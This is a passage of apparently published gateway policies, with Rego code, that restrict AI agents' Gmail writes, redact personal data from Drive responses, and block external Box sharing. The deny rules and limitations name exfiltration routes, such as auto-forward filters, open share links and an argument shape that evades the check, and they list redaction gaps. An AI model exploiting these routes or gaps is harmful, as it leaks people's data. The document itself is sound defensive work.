workforce-security termination effect, since IdP group removal takes effect on the next call. - **PCI DSS 7.2.1 / 7.2.2** — supports a least-privilege access model for agent access to mailboxes that may carry cardholder data. **7.2.5** — supports application/system account least privilege: the agent's effective Gmail capability is narrowed to read-only regardless of the breadth of the underlying OAuth grant. - **GDPR Art. 25** — supports data protection by design/default on the agent channel: the default posture is read-only. **Art. 29 / Art. 32(4)** — supports processing only on the controller's instructions: unauthorized principals cannot alter or send personal data through the agent. **Art. 5(1)(b)** — supports purpose limitation by separating read-analysis use from mailbox mutation. **CCPA §1798.100(e)** — supports reasonable security procedures over consumers' personal information in email. ## Tool name matching The DTwo gateway prefixes tool names with the configured MCP server name (e.g. `gmail-mcp-search_threads`), and the prefix is not standardized — so matching is case-insensitive and by suffix. The read allowlist covers all three verified Gmail MCP vocabularies: 1. **Google official remote server / Claude Gmail connector:** `search_threads`, `get_thread`, `list_drafts`, `list_labels`. 2. **GongRzhe/Gmail-MCP-Server (archived but widely deployed):** `read_email`, `search_emails`, `list_email_labels`, `list_filters`, `get_filter`, `download_attachment`. 3. **taylorwilsdon/google_workspace_mcp:** `search_gmail_messages`, `get_gmail_message_content`, `get_gmail_messages_content_batch`, `get_gmail_thread_content`, `get_gmail_threads_content_batch`, `get_gmail_attachment_content`, `list_gmail_labels`, `list_gmail_filters`. Anything that does not match one of those suffixes **at a name boundary** requires the writer group. Matching is boundary-anchored: a read suffix counts only when the tool name is exactly the suffix (bare) or the suffix follows a `-` (the gateway server-prefix separator) or `_` (a tool-name word separator). Note that `get_or_create_label` is correctly gated as a write despite its `get_` prefix — suffix matching does not confuse it with a read. Verify the exact names your gateway sends with the dump-input debug technique before relying on this in production; if your Gmail server exposes an additional genuinely read-only tool, add it to `read_suffixes` in `policy.md`. ## Argument shape The decision uses only the tool name (`input.resource.name`) and the caller's identity (`input.subject.claims.groups`). Tool arguments are not inspected, so the policy cannot be bypassed by unusual argument keys, nesting, or encodings — and it works identically whether or not a tool's argument schema is documented (the official `create_draft` field names, for example, are unverified). ## Identity Group membership is read fail-closed via `object.get(object.get(object.get(input, "subject", {}), "claims", {}), "groups", [])`: a missing subject, missing claims, a missing `groups` claim, or a `groups` claim that is not an array all mean "not a writer", and every non-read call is denied. Reads are unaffected by identity. ## Examples ### Allowed — read tool, no identity required ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "gmail-mcp-search_threads", "type": "tool" }, "payload": { "name": "gmail-mcp-search_threads", "args": { "query": "from:billing" } } } } ``` `allow = true`, no reason. ### Denied — send tool, caller not in the writer group ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "gmail-mcp-send_email", "type": "tool" }, "subject": { "sub": "auth0|alice", "claims": { "groups": ["engineering"] } }, "payload": { "name": "gmail-mcp-send_email", "args": { "to": ["vendor@example.com"], "subject": "Q3", "body": "..." } } } } ``` `allow = false`, `reason = "This Gmail tool can change mailbox state (draft, send, label, filter, modify, or delete), so it is restricted to members of the 'mcp-gmail-writers' group ..."`. ## Composition This policy is the Gmail least-privilege baseline; it gates *who* may write, not *what* writers may do. Useful companions: - An external-send guard that inspects `to`/`cc`/`bcc` domains on `send_email` / `send_gmail_message`, so even authorized writers cannot mail outside the organization. - A destructive-op freeze that keeps `delete_email` / `batch_delete_emails` / `delete_label` / `delete_filter` denied for everyone (retention and evidence preservation), stricter than the writer group. - A mailbox-persistence guard denying filter creation (`create_filter`, `create_filter_from_template`, `manage_gmail_filter`) — auto-forward rules are a classic BEC exfiltration primitive that outlives the session. - An egress redaction policy on `get_thread` / `read_email` / `get_gmail_*_content*` responses (PANs, SSNs, reset links), since this policy leaves the read path open. - A bulk-read cap on the batch content tools and `maxResults` to throttle mass-harvesting through the open read path. ## Known limitations - **Group names are placeholders** — replace `mcp-gmail-writers` with your IdP's group name at import time. The policy expects `groups` to be an array claim in the caller's JWT; if your IdP emits roles under a different or namespaced claim (e.g. `https://acme.com/groups`), update `caller_groups` in `policy.md`. - **Exact per-gateway tool names are unverified.** The suffixes above are verified against vendor docs and source for the three servers, but the gateway's server-name prefix (and any tenant renames) must be confirmed with the dump-input technique before production use. - **Reads are open to everyone**, and Gmail reads are high-value egress: `get_thread` with `FULL_CONTENT`, `read_email`, and the batch content tools return raw email bodies that routinely contain PII, PHI, credentials, and reset links. Pair with egress redaction and, where needed, a group gate on body-reading tools. - **`download_attachment` is allowlisted as a read**, but on the GongRzhe server it writes the attachment to an arbitrary local path (`savePath`) on the host running the stdio server. If that local-file bridge matters in your deployment, remove it from `read_suffixes` so it requires the writer group. - **Suffix matching is boundary-anchored** to prevent over-match: a read suffix counts only when the tool name equals it exactly (bare) or the suffix follows a `-`/`_` separator. So a hypothetical write `forget_thread` (which ends in the read suffix `get_thread` but with no boundary before it) is correctly treated as a write and gated. A residual collision could still occur only if a genuine *write* tool's canonical name were itself exactly one of the read suffixes, or ended in `-`/`_` + a read suffix — no such case exists in the three verified vocabularies; re-check the boundary cases when adding a server. - **Everything non-read on the pipeline is gated**, including prompt/resource fetch hooks and any non-Gmail tools (management tools like `dtwo-*` included) sharing the pipeline. Attach this policy to a Gmail-scoped pipeline, or add an explicit passthrough `allow if` rule for your management prefix. - **Writers get every write.** The group grants label edits and permanent deletes alike; use the companion policies above to keep irreversible and externally visible actions behind stricter gates. > **Compliance note.** This policy supports alignment with the cited framework controls > **on the MCP path only**. No policy or bundle makes an organization compliant with any > framework; web-UI, native-API, and in-app access are outside the gateway's reach by > design. Validate against your own compliance program before relying on it. ```rego package gmail.ingress.role_gate_writes # Deny-by-default: verified read tools are explicitly allowed below; every # other tool — known writes and anything unknown or future — requires # membership in the writer group. The allowlist shape is deliberate: Gmail MCP # servers diverge sharply in write capability (the official connector is # draft-only; community servers add send/delete/filters), so unknown tools # must fail closed. default allow := false # Placeholder IdP group permitted to perform Gmail writes. # Replace "mcp-gmail-writers" with your IdP's group name at import time. writer_group := "mcp-gmail-writers" # Lowercased tool name. The gateway prefixes tool names with the configured # MCP server name (e.g. `gmail-mcp-search_threads`), so matching below is # case-insensitive and suffix-based to stay portable. tool_name := lower(object.get(object.get(input, "resource", {}), "name", "")) # --- Identity (fail closed) --- # Missing subject, missing claims, a missing groups claim, or a groups claim # that is not an array all yield "not a writer" — non-read calls then deny. caller_groups := object.get(object.get(object.get(input, "subject", {}), "claims", {}), "groups", []) caller_is_writer if { some group in caller_groups group == writer_group } # --- Read-tool allowlist --- # Verified read-only tools across the three Gmail MCP vocabularies. Anything # not matching one of these suffixes at a name boundary is treated as a write. read_suffixes := [ # Google official remote server / Claude Gmail connector "search_threads", "get_thread", "list_drafts", "list_labels", # GongRzhe/Gmail-MCP-Server (archived March 2026, still widely deployed) "read_email", "search_emails", "list_email_labels", "list_filters", "get_filter", "download_attachment", # taylorwilsdon/google_workspace_mcp "search_gmail_messages", "get_gmail_message_content", "get_gmail_messages_content_batch", "get_gmail_thread_content", "get_gmail_threads_content_batch", "get_gmail_attachment_content", "list_gmail_labels", "list_gmail_filters", ] # A read suffix matches only at a name boundary: either the tool name is # exactly the suffix (bare, unprefixed) or the suffix follows a separator # ('-' between the gateway server-prefix and the tool, or '_' between tool # name words). This prevents suffix over-match, where an unrelated word merely # ends in a read name — e.g. a hypothetical write `forget_thread` ends in the # read suffix `get_thread` but is NOT preceded by a boundary, so it is treated # as a write and gated. Every verified read arrives as `-` (or # bare), so real reads always match; only over-match collisions are excluded. read_suffix_match(name, suffix) if { name == suffix } read_suffix_match(name, suffix) if { endswith(name, concat("", ["-", suffix])) } read_suffix_match(name, suffix) if { endswith(name, concat("", ["_", suffix])) } is_read_tool if { some suffix in read_suffixes read_suffix_match(tool_name, suffix) } # --- Decision --- # Verified read tools pass for everyone. allow if { is_read_tool } # Everything else — every draft/send/label/filter/modify/delete tool and any # unknown or future tool — passes only for members of the writer group. allow if { not is_read_tool caller_is_writer } reasons contains msg if { not is_read_tool not caller_is_writer msg := sprintf("This Gmail tool can change mailbox state (draft, send, label, filter, modify, or delete), so it is restricted to members of the '%s' group — this account has read-only Gmail access through the gateway. Ask your identity admin to add you to '%s', or hand this step to a teammate with Gmail write access. If this tool is actually read-only, contact your InfoSec team to add it to the policy's read allowlist.", [writer_group, writer_group]) } reason := joined if { count(reasons) > 0 reason_list := sort([r | some r in reasons]) joined := concat("; ", reason_list) } ``` ### Google Drive: Redact PII from File Content URL: https://www.intentbasedpolicy.com/policies/google-drive/redact-pii-egress App(s): google-drive | Direction: egress | Bundles: soc2, hipaa, gdpr-ccpa | Package: google_drive.egress.redact_pii | Published: 2026-07-12 | Tags: google-drive, redact-pii, pii, dlp, redaction, egress, soc2, hipaa, gdpr-ccpa Source: https://github.com/dtwoai/policy-store/blob/main/apps/google-drive/redact-pii-egress/policy.md # google-drive / redact-pii-egress **Direction:** egress (`tool_post_invoke`) **Default:** allow (transform-only — never denies) **Package:** `google_drive.egress.redact_pii` ## What it does Scans the responses of the content-returning Google Drive tools — file reads, downloads, and Docs/Sheets/Slides content fetches — and rewrites personally identifiable information to fixed redaction tokens before the response reaches the agent: | Class | Detection | Token | |---|---|---| | Email address | conservative `mailbox@domain.tld` shape | `[REDACTED-EMAIL]` | | US SSN | hyphenated `XXX-XX-XXXX` form | `[REDACTED-SSN]` | | National ID | UK National Insurance number (`AB123456C` shape) | `[REDACTED-NATIONAL-ID]` | | US phone number | separator-formatted (e.g. `206-555-0100`, `(206) 555-0100`, `(206)555-0100`) | `[REDACTED-PHONE]` | Matches are replaced in place, leaving the surrounding document structure intact so the file content remains usable. The policy is transform-only: it never denies a call, and responses with no matches (and all out-of-scope tools) pass through unchanged. Every response field is read via `object.get`, so missing or oddly-shaped payloads are never an error — they simply pass through. Drive is a de-facto dumping ground for PII, PHI, payroll exports, contracts, and board material — files shared in error included — and MCP file-content responses bypass classic DLP entirely. This policy is the primary minimum-necessary control on the Drive MCP read path. ### Group exemption Callers whose IdP `groups` claim contains `privacy-reviewers` (a placeholder name — see Known limitations) receive **unredacted** content. The check reads `input.subject.claims.groups` via `object.get` chains: a missing subject, missing claims, or missing `groups` claim means the caller is *not* exempt and redaction applies — the grant fails closed. This failure mode is safe: a caller whose claims fail to arrive gets over-redaction, never disclosure. ## Compliance alignment - **SOC 2 CC6.7** — supports restricting the transmission/movement of confidential information by masking direct identifiers in Drive file content as it leaves the gateway toward the agent. - **SOC 2 C1.1** — supports identification and protection of confidential information on the read path; **P4.1** — supports limiting personal information use to identified purposes; **P6.1** — supports controls over personal-information disclosure by keeping raw identifiers out of agent context that doesn't need them. - **HIPAA §164.502(b) / §164.514(d)** — supports minimum-necessary, role-based limits: only placeholder `privacy-reviewers` group members see raw identifiers; everyone else gets working content with identifiers masked. Drive folders routinely hold PHI-bearing spreadsheets and intake forms. - **HIPAA §164.514(a)–(b)** — supports de-identification practice by stripping Safe-Harbor identifier classes (SSN, email, phone) from responses; **§164.530(c)** — supports privacy safeguards on the agent channel. - **GDPR Art. 5(1)(c)** — data minimisation on agent reads of personal data; **Art. 9** — reduces special-category exposure on the MCP path where identifiers co-occur with health/HR content in Drive files; **Art. 5(1)(f) / Art. 32** — supports security of processing. - **CCPA/CPRA §1798.121** — supports limiting the use and disclosure of sensitive personal information (SSN, national ID numbers) on the agent channel; **§1798.150** — reduces nonredacted-PI breach exposure. ## Why egress The PII already lives in Drive — there is nothing to block at ingress, and denying file reads outright would make the agent useless for everyday document work. The leak happens when file content is returned to the MCP client, so the response path is the only place to catch it while keeping the content useful. (For folders that should never be read at all, pair with an ingress fence — see Composition.) ## Tool name matching Applies on the output path (`input.mode == "output"`) to tools matched case-insensitively **by suffix** on `lower(input.resource.name)` (with a leading hyphen, so generic verb suffixes cannot accidentally match unrelated tools), with `input.tool_metadata.name` as a fallback. Suffix matching keeps the policy portable across gateway server-name prefixes (the DTwo gateway prefixes tool names with the configured MCP server name, e.g. `gdrive-read_file_content`). The suffix set covers the content-returning tools of all three live Drive MCP server families: - **Google official Drive MCP server / Anthropic-hosted Claude connector:** `-read_file_content`, `-download_file_content` - **isaacphi/mcp-gdrive:** `-gdrive_read_file`, `-gsheets_read` - **piotr-agier/google-drive-mcp** (camelCase names, lowercased by the match): `-downloadfile`, `-readgoogledoc`, `-readgoogledocpaginated`, `-getgooglesheetcontent`, `-getgoogleslidescontent` Verify the exact names your gateway emits with the dump-input debug technique before relying on this in production, and extend `pii_read_suffixes` for any other content-returning tools your deployment exposes (see Known limitations for the adjacent read surfaces deliberately not matched here). ## Response shape The policy reads `input.payload.text` — the MCP content-block array the gateway populates on `tool_post_invoke` — and rewrites each string block (including string blocks containing serialized JSON or exported Docs/Sheets text, since the regexes run over the serialized text). Non-string blocks pass through unmodified. When at least one block changes, the policy emits `transform.transformed_payload` containing the original payload with the rewritten `text` array (all other payload keys preserved). When nothing changes, no transform is emitted and the response passes through byte-identical. If a gateway or tool emits `payload.text` as a **bare string** rather than a content-block array, that shape is redacted too (string in, string out — the rewrite is shape-preserving); it does not fall through unredacted. Only a `text` value that is neither a string nor an array (or a payload with no `text` at all) is passed through untouched. ## Examples ### Redacted (in-scope tool, non-exempt caller) ```jsonc { "input": { "action": "tool_post_invoke", "mode": "output", "resource": { "name": "gdrive-read_file_content", "type": "tool" }, "subject": { "sub": "auth0|u1", "claims": { "groups": ["engineering"] } }, "payload": { "name": "gdrive-read_file_content", "text": ["Payroll: SSN 123-45-6789, contact jane.doe@example.com"] } } } ``` `allow = true`, with `transform.transformed_payload.text` = `["Payroll: SSN [REDACTED-SSN], contact [REDACTED-EMAIL]"]`. ### Passed through (exempt caller) ```jsonc { "input": { "action": "tool_post_invoke", "mode": "output", "resource": { "name": "gdrive-read_file_content", "type": "tool" }, "subject": { "sub": "auth0|u2", "claims": { "groups": ["privacy-reviewers"] } }, "payload": { "name": "gdrive-read_file_content", "text": ["Payroll: SSN 123-45-6789"] } } } ``` `allow = true`, no `transform` — the `privacy-reviewers` group receives raw content. ## Composition Single-purpose transform policy (`default allow := true`); it composes cleanly with deny policies on the same pipeline. Recommended companions for `apps/google-drive`: - **`cap-bulk-export`** (ingress) — clamps `pageSize`/pagination on `search_files` / `gdrive_search` / `search`, throttling the mass enumeration that turns a single redaction miss into a bulk leak. - **`fence-restricted-folders`** (ingress) — blocks reads of HR/M&A/board folders outright; redaction is the wrong tool for files no agent should open at all. - A `guard-external-send`-style policy on the mail path so content redacted on read is not simply exfiltrated through another app instead. ## Known limitations - **Official Google server response shapes are unverified.** Google's MCP reference does not publish per-tool parameter or response schemas (it defers to `tools/list` at the live endpoint). This policy assumes the standard MCP string content-block shape in `input.payload.text`; verify against a live `tools/list` pull and the dump-input technique before production. The Claude-connector suffixes are likewise reported by third-party write-ups, not official Anthropic docs. - **Base64 and binary downloads cannot be regex-scanned.** `download_file_content` / `downloadFile` may return base64-encoded or binary bytes (PDFs, Office files, images); PII inside them passes through any pattern-based egress policy untouched. For regulated folders, pair with an ingress fence or group-gate on the download tools rather than relying on redaction. - **Legacy Claude built-in tools are not matched.** The older claude.ai Drive integration reportedly exposed `google_drive_search` / `google_drive_fetch` (unverified from published system prompts); `-google_drive_fetch` is not in the suffix set. Add it if you still see that traffic. - **Adjacent read surfaces are not matched.** Search results (`search_files`, `gdrive_search`, `search`), file metadata (`get_file_metadata`), ACL reads (`get_file_permissions` — enumerates collaborator emails), and comments (`listComments`) can all carry PII in filenames, snippets, and principal lists but are not content-returning tools in this set. Extend `pii_read_suffixes` to taste. - **Pattern-based detection is best-effort.** Conservative by design: SSNs are matched in hyphenated form only (bare 9-digit runs collide with Drive file IDs); phones only in separator-formatted US shapes; the national-ID class ships with the UK National Insurance shape only (uppercase) — add your jurisdictions' formats; the email pattern will also match `user@host` substrings inside URLs and connection strings (a documented false-positive cost). Obfuscated, split-across-blocks, spelled-out, or image-embedded values are not caught. Treat this as a high-signal minimum-necessary layer, not a complete DLP solution. - **Non-string content blocks pass through unmodified — including MCP `TextContent` objects.** Redaction applies to string entries of `input.payload.text` (including serialized-JSON strings, e.g. `gsheets_read` tabular output serialized as text). The DTwo egress schema documents `payload.text` as an array of strings, but if your gateway instead emits the raw MCP content-block shape — objects such as `{"type":"text","text":"…"}` — the object is *not* a string, so its inner `.text` field is **not scanned and PII inside it leaks through untouched** (see the object-block test case). This is a deliberate residual, not a parser: verify your gateway's actual block shape with the dump-input technique, and if it emits structured blocks, flatten them upstream or add an object-aware redaction step before relying on this policy. - **Suffix matching assumes the hyphen server-name prefix.** The suffix set is anchored with a leading hyphen (`-read_file_content`), matching the documented gateway naming `-`. A deployment that joins the prefix with a different separator (e.g. `gdrive_read_file_content`) or exposes an unprefixed bare tool name will *not* match and the response will pass through unredacted. Confirm the exact emitted names with the dump-input technique and adjust `pii_read_suffixes` if your gateway differs. - **Group names are placeholders — replace `privacy-reviewers` with your IdP's group name at import time.** The exemption expects the `groups` claim as an array of strings (a single bare string is also handled); if your IdP emits roles under a namespaced claim, adjust `caller_groups`. Missing claims always mean redaction applies — the failure mode is over-redaction, not disclosure. - **Egress `transformed_payload` replaces the response payload wholesale.** Verify the rewrite against your gateway version with the dump-input technique before production, and mind attachment order if other egress transforms run on the same pipeline. > **Compliance note.** This policy supports alignment with the cited framework controls **on the MCP path only**. No policy or bundle makes an organization compliant with any framework; web-UI, native-API, and in-app access are outside the gateway's reach by design. Validate against your own compliance program before relying on it. ```rego package google_drive.egress.redact_pii # Transform-only egress policy: rewrites PII in Google Drive content-returning # tool responses to fixed redaction tokens before the response reaches the # agent. Never denies. Callers in the placeholder `privacy-reviewers` IdP # group receive unredacted responses; the group check fails closed, so a # caller with missing claims gets over-redaction, never disclosure. default allow := true # ----------------------------------------------------------------------------- # Scope: the content-returning tools of the three live Drive MCP server # families (Google official / Claude connector, isaacphi/mcp-gdrive, # piotr-agier/google-drive-mcp). The gateway prefixes tool names with the # configured MCP server name (e.g. `gdrive-read_file_content`), so we match by # suffix; the leading hyphen keeps generic verbs from matching unrelated # tools once the prefix is stripped. # ----------------------------------------------------------------------------- pii_read_suffixes := { # Google official Drive MCP server + Anthropic-hosted Claude connector "-read_file_content", "-download_file_content", # isaacphi/mcp-gdrive "-gdrive_read_file", "-gsheets_read", # piotr-agier/google-drive-mcp (camelCase tool names, lowercased here) "-downloadfile", "-readgoogledoc", "-readgoogledocpaginated", "-getgooglesheetcontent", "-getgoogleslidescontent", } is_pii_read_tool if { input.mode == "output" some suffix in pii_read_suffixes endswith(lower(object.get(object.get(input, "resource", {}), "name", "")), suffix) } is_pii_read_tool if { # Egress hooks also expose the tool name under tool_metadata.name — check # both so we match regardless of which surface the gateway populates. input.mode == "output" some suffix in pii_read_suffixes meta := object.get(input, "tool_metadata", {}) endswith(lower(object.get(meta, "name", "")), suffix) } # ----------------------------------------------------------------------------- # Group exemption — placeholder IdP group whose members receive unredacted # responses. Replace "privacy-reviewers" with your IdP's group name at import # time. object.get chains mean a missing subject/claims/groups claim is never # exempt: the grant fails closed and redaction applies. # ----------------------------------------------------------------------------- exempt_groups := {"privacy-reviewers"} caller_groups := object.get( object.get(object.get(input, "subject", {}), "claims", {}), "groups", [], ) is_exempt if { some g in caller_groups lower(g) in exempt_groups } is_exempt if { # Some IdPs emit a single group as a bare string rather than an array. is_string(caller_groups) lower(caller_groups) in exempt_groups } # ----------------------------------------------------------------------------- # Detection patterns — anchored and conservative to limit false positives. # ----------------------------------------------------------------------------- # Email addresses in the conservative mailbox@domain.tld shape. Also matches # user@host substrings inside URLs and connection strings — a documented # false-positive cost of regex over arbitrary file content. email_pattern := `\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,}\b` # US SSN in the canonical hyphenated form only. Bare 9-digit runs collide # with Drive file IDs and raw phone digits, so they are deliberately not # matched. ssn_pattern := `\b\d{3}-\d{2}-\d{4}\b` # National-ID class: UK National Insurance number — two prefix letters # (excluding D, F, I, Q, U, V), six digits, suffix letter A-D. Uppercase only; # add your jurisdictions' national-ID shapes alongside this one. nino_pattern := `\b[A-CEGHJ-PR-TW-Z]{2}[0-9]{6}[A-D]\b` # Separator-formatted US phone numbers (e.g. 206-555-0100, (206) 555-0100, # (206)555-0100, +1 206.555.0100). A parenthesized area code may be followed by # an optional separator ((206)555-0100 as well as (206) 555-0100); a bare area # code still requires a separator, so bare 10-digit runs are deliberately not # matched. phone_pattern := `(?:\+?1[-. ])?(?:\(\d{3}\)[-. ]?|\b\d{3}[-. ])\d{3}[-. ]\d{4}\b` # ----------------------------------------------------------------------------- # Redaction steps — each is total over strings (regex.replace returns the # input unchanged when its pattern doesn't match), so the steps chain safely. # ----------------------------------------------------------------------------- redact_emails(t) := regex.replace(t, email_pattern, "[REDACTED-EMAIL]") redact_ssns(t) := regex.replace(t, ssn_pattern, "[REDACTED-SSN]") redact_ninos(t) := regex.replace(t, nino_pattern, "[REDACTED-NATIONAL-ID]") redact_phones(t) := regex.replace(t, phone_pattern, "[REDACTED-PHONE]") # Order matters: emails first, so the digit patterns can never half-eat a # digit-bearing local part; then SSNs (tightest digit shape), national IDs # (alphanumeric, disjoint from the digit patterns), and phones last (loosest). redact_block(b) := redact_phones(redact_ninos(redact_ssns(redact_emails(b)))) if { is_string(b) } # Non-string content blocks (structured blocks) pass through unmodified. redact_block(b) := b if { not is_string(b) } # ----------------------------------------------------------------------------- # Transform — emitted only when in scope, the caller is not exempt, and at # least one block actually changed. Otherwise the rule is undefined and the # aggregator skips this policy, returning the response byte-identical. # ----------------------------------------------------------------------------- response_payload := object.get(input, "payload", {}) text_blocks := object.get(response_payload, "text", []) redacted_blocks := [out | some block in text_blocks out := redact_block(block) ] transform := { "transformed_payload": object.union(response_payload, {"text": redacted_blocks}), } if { is_pii_read_tool not is_exempt is_array(text_blocks) redacted_blocks != text_blocks } # Some gateways/tools emit `payload.text` as a bare string rather than a # content-block array. Redact that shape too (string in, string out — the # rewrite is shape-preserving) so PII is not leaked on this fail-open path. # Mutually exclusive with the array rule above (is_string vs is_array), so the # two complete-value transform rules never both fire. transform := { "transformed_payload": object.union(response_payload, {"text": redacted_text}), } if { is_pii_read_tool not is_exempt is_string(text_blocks) redacted_text := redact_block(text_blocks) redacted_text != text_blocks } ``` ### Guard Box Share Links and External Collaborations URL: https://www.intentbasedpolicy.com/policies/box/guard-share-links-external App(s): box | Direction: ingress | Bundles: soc2, hipaa, gdpr-ccpa | Package: box.ingress.guard_share_links_external | Published: 2026-07-12 | Tags: box, guard-share-links, sharing, external-sharing, ingress, soc2, hipaa, gdpr-ccpa Source: https://github.com/dtwoai/policy-store/blob/main/apps/box/guard-share-links-external/policy.md # box / guard-share-links-external **Direction:** ingress (`tool_pre_invoke`) **Default:** deny on match, allow otherwise **Package:** `box.ingress.guard_share_links_external` ## What it does Blocks the externally-visible Box sharing surface — the riskiest Box surface an agent can touch — before the call ever reaches Box: 1. **External collaborations.** Collaboration create/update calls are denied when the invitee's email login (`accessible_by.login` on the official server, `user_login` on the community server) has a domain outside a documented allowlist of corporate domains. Grants that carry **no email login at all** (id-based user grants, group grants, and role-only collaboration updates) **fail closed** for non-exempt callers, because the domain check cannot run. 2. **Public share links.** Shared-link create/update calls are denied when `access` is `open` — an `open` link mints an anonymous URL that is visible outside the organization the moment it is created. `company` and `collaborators` access pass through. An `access` value that is **present but not a string** (e.g. `{"value":"open"}` or `["open"]`, an evasion of the string check) also **fails closed**; only a wholly absent `access` passes (see Known limitations). Callers in a placeholder `infosec` IdP group (read from `input.subject.claims.groups`, fail-closed when claims are missing) are exempt from both checks. All other Box tools pass through unchanged. ## Compliance alignment - **SOC 2 CC6.7** — supports the restriction on transmission, movement, and removal of confidential information by stopping agent-initiated external collaboration grants and anonymous share links on the MCP path. - **SOC 2 P6.1** — supports limits on disclosure of personal information to third parties: documents commonly stored in Box (HR files, contracts, financials) cannot be shared to non-corporate email domains or exposed via public URLs by an agent. - **GDPR Art. 5(1)(f) / Art. 32** — supports the security-of-processing and confidentiality principle by stopping agent-initiated movement of personal-data documents to external domains or anonymous public URLs on the MCP path; **Arts. 44/46** — supports the restriction on cross-border transfers by denying external-domain collaboration grants an agent cannot otherwise scrutinize. - **HIPAA §164.308(a)(4)** — supports information access management by keeping an agent from granting external parties access to PHI-bearing Box documents; **§164.502(e)** — supports the business-associate disclosure limit by blocking shares to non-corporate domains and anonymous public links, which would place PHI with parties that may hold no BAA. ## Tool name matching All matching is case-insensitive on `lower(input.resource.name)` and by suffix, because the DTwo gateway prefixes tool names with the configured MCP server name (e.g. `box-remote-create_collaboration`). Both Box MCP dialects are covered: **Collaboration grants** - Official hosted server (`mcp.box.com`): `*create_collaboration`, `*update_collaboration` - Community `box-community/mcp-server-box`: `*_by_user_login_tool`, `*_by_user_id_tool`, `*_by_group_id_tool` (file and folder variants), `*box_collaboration_update_tool`, `*set_collaboration_tool` **Shared links** - Official: `*add_file_shared_link`, `*add_folder_shared_link` - Community: any `*create_or_update_tool` whose name contains `shared_link` (covers the file, folder, and web-link mirrors) Read-only collaboration/shared-link tools (`list_item_collaborations`, `box_shared_link_*_get_*`, removal tools) are intentionally not matched — this policy guards grants, not revocations. Verify the exact names your gateway sends with the dump-input debug technique before relying on this in production. ## Argument shape - Official `create_collaboration`: `item` (`type` + `id`), `accessible_by` (`{type: user|group, login | id}`), `role`. The policy reads `accessible_by.login` and checks its email domain. - Official `update_collaboration`: takes a collaboration id and a new `role` — it carries no login, so it **fails closed** to the exempt group. Role escalation on an existing external collaboration cannot be domain-checked at ingress. - Community collaboration tools: `file_id`/`folder_id`, `user_login`, `role`. The policy reads `user_login`. The `_by_user_id_tool` / `_by_group_id_tool` variants carry no login and fail closed. - Shared-link tools: `file_id`/`folder_id`, `access` (`open` | `company` | `collaborators`), plus permission flags. The policy reads `access` only. Replace the placeholder domain allowlist (`allowed_domains`, ships as `example.com`) with your corporate domains at import time. ## Examples ### Allowed — internal collaboration ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "box-remote-create_collaboration", "type": "tool" }, "payload": { "name": "box-remote-create_collaboration", "args": { "item": { "type": "folder", "id": "9821" }, "accessible_by": { "type": "user", "login": "bob@example.com" }, "role": "viewer" } } } } ``` `allow = true`, no reason. ### Denied — public share link ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "box-remote-add_file_shared_link", "type": "tool" }, "payload": { "name": "box-remote-add_file_shared_link", "args": { "file_id": "1234", "access": "open" } } } } ``` `allow = false`, `reason = "Public 'open' Box shared links are blocked (...)"`. ## Composition This policy is single-purpose. Useful companions: - A transform-only ingress policy that **downgrades** instead of denying — rewrite `access: open → company` and force `can_download: false` for environments where a hard deny is too disruptive. - A destructive-op gate for the community server (`box_*_delete_tool`, `box_collaboration_delete_tool`) — deleting a collaboration is not covered here. - An egress PII redaction policy on `get_file_content` / `ai_qa_*` responses. ## Known limitations - **Official-server argument names are partially unverified.** Box's docs do not publish full JSON schemas for the hosted MCP server; `accessible_by.login` and `access` follow the underlying Box API and Box blog examples. Confirm against a live `tools/list` (or the dump-input technique) before production use. If the official server nests arguments differently, the collaboration branch fails closed (deny) rather than open. - **Box's own guardrails are a second layer, not a substitute.** Box disables external-collaborator support on the hosted server by default (an admin must enable it per-enterprise), and blocks many writes on items with external exposure. Do not rely on that in place of this policy — the community server has no such guardrail, and an admin can switch the default off. Conversely, this policy does not replace Box enterprise sharing settings. - **A missing `access` field passes through.** Shared-link calls that omit `access` fall back to your Box enterprise default, which this policy cannot see. If your enterprise default is `open`, tighten it in the Box Admin Console, or extend the policy to fail closed on a missing `access`. (A *present-but-non-string* `access` is different — it fails closed, see What it does.) - **Only the dedicated sharing tools are matched (alternate create paths).** The match set is the four official sharing tools plus the community collaboration / `*create_or_update_tool` mirrors named in the landscape note. If the official server lets a *non-sharing* tool mint or open a shared link as a side effect — e.g. `update_file_properties` / `update_folder_properties` carrying a nested `shared_link.access`, or a hub tool — that call is **not** guarded here and passes through (those side-channel argument shapes are unverified against a live `tools/list`). Add the extra tool suffixes to `is_shared_link_tool` if your gateway shows a `shared_link` argument on them. Likewise out of scope: the community `box_file_set_download_open_tool` (download scope on an existing link) and `box_folder_set_upload_email_tool` (inbound public upload address) — neither is a share-link/collaboration grant, but both widen exposure; gate them with a companion policy if needed. - **Group names are placeholders** — replace `infosec` with your IdP's group name at import time, and `example.com` in `allowed_domains` with your corporate domains. Callers with no `groups` claim are simply not exempt (fail-closed for the exemption). - **Id-based and group grants always fail closed** for non-exempt callers, even when the target user is internal — the policy cannot resolve a Box user id to an email domain at ingress. Route those grants through the exempt group. > **Compliance note.** This policy supports alignment with the cited framework controls **on the MCP path only**. No policy or bundle makes an organization compliant with any framework; web-UI, native-API, and in-app access are outside the gateway's reach by design. Validate against your own compliance program before relying on it. ```rego package box.ingress.guard_share_links_external # Deny-by-default: only the explicit allow rules below permit the request. default allow := false # Placeholder allowlist of corporate email domains for Box collaborations. # Replace `example.com` with your organization's domains at import time. allowed_domains := {"example.com"} # Normalized tool name. The gateway prefixes tool names with the configured # MCP server name (e.g. `box-remote-create_collaboration`), so all matching # below is by case-insensitive suffix to stay portable. tool_name := lower(input.resource.name) # Tool arguments, safe against a missing payload/args. args := object.get(object.get(input, "payload", {}), "args", {}) # --- Exemption: placeholder `infosec` IdP group ----------------------------- # Read via object.get chains so missing claims fail closed (no group -> not # exempt). Replace `infosec` with your IdP's group name at import time. is_exempt_caller if { claims := object.get(object.get(input, "subject", {}), "claims", {}) groups := object.get(claims, "groups", []) some g in groups lower(g) == "infosec" } # --- Collaboration-grant tools (both dialects) ------------------------------ # Official hosted server (mcp.box.com) is_collab_tool if endswith(tool_name, "create_collaboration") is_collab_tool if endswith(tool_name, "update_collaboration") # Community server: email-login grants (file + folder variants) is_collab_tool if endswith(tool_name, "_by_user_login_tool") # Community server: id-based user grants — no login, 